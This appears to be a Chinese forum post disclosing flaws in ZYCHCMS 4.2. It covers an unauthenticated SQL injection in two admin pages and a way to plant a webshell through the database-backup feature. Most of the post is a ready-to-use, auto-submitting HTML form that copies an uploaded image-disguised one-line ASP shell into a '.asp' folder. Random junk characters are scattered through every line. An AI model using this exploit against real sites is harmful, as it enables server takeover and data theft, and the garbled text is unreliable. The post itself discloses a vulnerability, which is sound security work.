/ U# S# F4 l3 r0 n, e8 r1 Q4 Z; H- m' C
, Y# q& _: V- @0 {+ U
) ], H( v% P k: O# e/ o) }
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
, @. ?' o: y9 }: Z ①SQL注射漏洞% H4 @1 N0 b& R2 F* y
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
9 N3 ?/ A: b1 U) ]- V 漏洞原因:未过滤
$ r( P) f$ Z! s. F& X0 g! h 漏洞代码:
) ?0 E) M; T5 [/ Y% Z 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。' J4 T1 n+ G& j9 M
修复方法:在文件开头加入代码& y* I/ L( @2 p3 @
. F% Z, m1 y3 E' C* d
4 F: q2 P' ]5 P. Y( }
②后台拿WBSHELL
2 t. U( C; ~1 H+ D) b: O# c+ R& q 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
# R2 w M0 t; o& z 这里在网上找了一个,改了下,将就着用。
3 N5 K, g0 u( k+ u( @0 @% B 以下是代码本地提交代码
3 o5 R" ]( S% ~" Q
& l3 W9 F5 w- d: E( p
. r- Z+ Z# y ] s9 b; I<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>9 G2 O* S# s. n5 y
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>% l; |, F* w5 G. c7 p
<tr>
: R' h# A5 |* Y) O2 s G" P! y3 o <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>+ L( x6 k7 {% @% }
</tr> |; ?/ M5 J1 ^" l. u' U
<tr>8 b6 @9 K& h7 {7 }
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
" {( ]: m* \! M0 l0 B; C9 P </span>: u5 i# @/ e- }; F7 W k
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >8 K; [" }3 v& H! R
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >0 K- g3 i: t$ [
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
# m8 @7 j/ S4 Z6 n( a; u <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
/ c5 w# p. C' y; {4 s% o) P7 T <div align=”left”>
2 S% s8 M7 S% \ <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />. M% n' S2 T, ]3 G$ P
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
: |. f- L2 s- R3 ~ <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
}4 f$ i% U, ^1 `4 \; R2 Y4 H </div></td>6 f* F7 r, k: g! u3 p
</tr>
5 h9 v! J1 ?6 b, b <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
. K0 t2 X) j0 b: k. s <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
5 H2 ]& T" V# I# ^ <td class=”td”><div align=”left”>
5 T8 Y9 B$ d# R5 x" F <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
: i2 x) \* L; E' ~ [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
; M* b: C7 O) E9 ]) ]- y8 O </tr>
( w5 ]8 L" u" ` <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
1 U) i A+ n0 ` <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
/ @! F4 z8 {( O7 t R) ?) S; I <td class=”td”><div align=”left”>& l, e' q- I$ A7 @0 |
<input type=”submit” value=”确定备份” class=”btn”2 ~$ a! h/ t2 X+ W' S
</div></td>; b/ e( O0 T1 ]: L, Z8 S" O
</tr>
) ]0 P# O- \- ?9 l </table></td></tr></form>+ M4 o, q9 r9 z" Y; C a
</table>
; u3 O( _! v* H </td>5 Z& S1 y) Q( [% @4 ]3 k
</tr>
8 U" O" a& O) d& ~$ y; d5 O: S </table>
5 x! F1 x$ r5 G <script>3 g2 t. Q& ]( R8 d/ g9 m( i b
document.all.add.submit();
! i. I- ^& M8 X4 z </script>: }0 r+ B. M2 a, f0 B, M5 l
) R# ~7 G1 o9 Z( Z o4 Q* X
5 p+ n6 ~; L* A1 [8 Z, A
1 e a8 A7 t/ n3 V1 _1 Q* \/ }
* `/ [+ F; c8 E2 ^/ B( A: O
9 \8 L. M! b$ D) ?+ E3 h+ b
$ W' `) h( E. p% F5 @5 w) i/ F" I3 }# a% S1 {$ @
: Q2 L' T. S0 m" E* W8 B6 |
7 g/ W. s! M; n" R* j5 G4 A6 Y }5 Q' w9 k$ r$ {5 ^
|